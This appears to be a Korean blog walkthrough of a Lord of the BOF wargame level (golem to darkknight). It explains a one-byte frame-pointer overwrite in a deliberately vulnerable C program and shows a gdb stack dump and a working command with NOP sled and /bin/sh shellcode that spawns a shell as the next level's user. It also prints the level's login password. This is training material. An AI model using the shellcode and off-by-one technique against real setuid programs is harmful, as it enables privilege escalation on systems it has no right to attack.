반응형


해커스쿨 LOB LEVEL12 [golem -> darkknight] 풀이


M4ndU




해커스쿨 LOB [golem -> darkknight] 풀이입니다.


ID | golem

PW | cup of coffee

으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: golem

Password:

[golem@localhost golem]$ bash2

[golem@localhost golem]$ ls -l

total 16

-rwsr-sr-x    1 darkknig darkknig    12053 Mar  2  2010 darkknight

-rw-r--r--    1 root     root          355 Mar 29  2010 darkknight.c

[golem@localhost golem]$ cat darkknight.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - darkknight

        - FPO

*/


#include <stdio.h>

#include <stdlib.h>


void problem_child(char *src)

{

        char buffer[40];

        strncpy(buffer, src, 41);

        printf("%s\n", buffer);

}


main(int argc, char *argv[])

{

        if(argc<2){

                printf("argv error\n");

                exit(0);

        }


        problem_child(argv[1]);

}



이번에는 버퍼오버플로우가 problem_child 함수에서 일어나는데, 1바이트밖에 조작할 수 없네요.
힌트로는 FPO가 있네요.

1바이트 오버플로우를 이용하면 ebp의 마지막 바이트를 조작할 수 있습니다.

함수의 에필로그인 leave 와 ret을 보면,

mov esp, ebp
pop ebp

pop eip
jmp eip

와 하는 일이 같은데, 우리가 ebp의 주소를 조작해 준다면
조작된 주소가 ebp에 담기고 (pop ebp)

main함수 에필로그에서
조작된 ebp가 esp에 담긴다. (mov esp, ebp)
[esp-1][esp-4]까지 ebp가 되고 (pop ebp)
[esp-5][esp-8]까지 eip가 되면서 (pop eip)
eip가 조작될 수 있다.


일단 값을 넣고

스택을 한번봅시다.


[golem@localhost tmp]$ ./darkknight `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\xff"*100'`

릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?

                                     ??퓹懶엥?옹   @

Segmentation fault (core dumped)

[golem@localhost tmp]$ gdb -c core -q

Core was generated by `./darkknight 릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?

                                                                         ?'.

Program terminated with signal 11, Segmentation fault.

#0  0xfffeebbf in ?? ()

(gdb) x/100x 0xbffffa50
0xbffffa50:     0xbffffa54      0x90909090      0x90909090      0x90909090
0xbffffa60:     0x31909090      0x2f6850c0      0x6868732f      0x6e69622f
0xbffffa70:     0x5350e389      0xc289e189      0x80cd0bb0      0xbffffaff
0xbffffa80:     0x0804849e      0xbffffbd4      0xbffffaa8      0x400309cb

buffer의 시작주소인 0xbffffa54의 값이 0xbffffa50에 있고
41번째에 넣은 0xff로 인해 ebp가 0xbffffaff로 조작된 것을 확인할 수 있습니다.

이 ebp를  0xbffffa4c으로 조작하면 eip가 buffer의 시작주소로 조작이 되겠죠.


[golem@localhost golem]$ ./darkknight `python -c 'print "\x90"*15+"\x31\xc0\x50\ x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\ xcd\x80"+"\x4c"*100'`

릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?

                                     ?L?퓹懶엥?옹   @

bash$ my-pass

euid = 512

new attacker


성공입니다. 다음레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏ


반응형

+ Recent posts